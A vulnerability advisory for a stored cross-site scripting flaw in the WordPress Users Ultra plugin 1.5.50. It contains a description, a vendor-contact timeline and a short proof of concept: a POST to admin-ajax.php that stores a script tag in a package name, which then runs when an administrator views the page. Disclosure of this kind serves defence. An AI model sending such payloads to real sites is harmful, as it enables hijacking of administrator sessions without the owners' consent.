WordPress Users Ultra Plugin [Persistence XSS]

* Exploit Title: WordPress Users Ultra Plugin [Persistence XSS]
* Discovery Date: 2015/10/20
* Public Disclosure Date: 2015/12/01
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://usersultra.com
* Software Link: https://wordpress.org/plugins/users-ultra/
* Version: 1.5.50
* Tested on: WordPress 4.3.1
* Category: webapps


Description
============================================================
====================

Once a user is registered he can add new subscription packages or modify existing ones. No data sanitization is
taking place before saving package details in DB. This allows a malicious user to include JS code in package name
and/or package description.

PoC
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- Send a post request to `http://vuln.site.tld/wp-admin/admin-ajax.php` with data:
    `action=package_add_new&p_name=a<script>alert(1)</script>`
- Visit `http://vuln.site.tld/wp-admin/admin.php?page=userultra&tab=membership` as admin or go to the page that
    contains package information at front end.

Timeline
================================================================================

2015/10/29 - Vendor notified via email
2015/11/11 - Vendor notified via contact form in his website
2015/11/13 - Vendor notified via support forums at wordpress.org
2015/11/14 - Vendor responded and received report through email

Solution
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No official solution yet exists.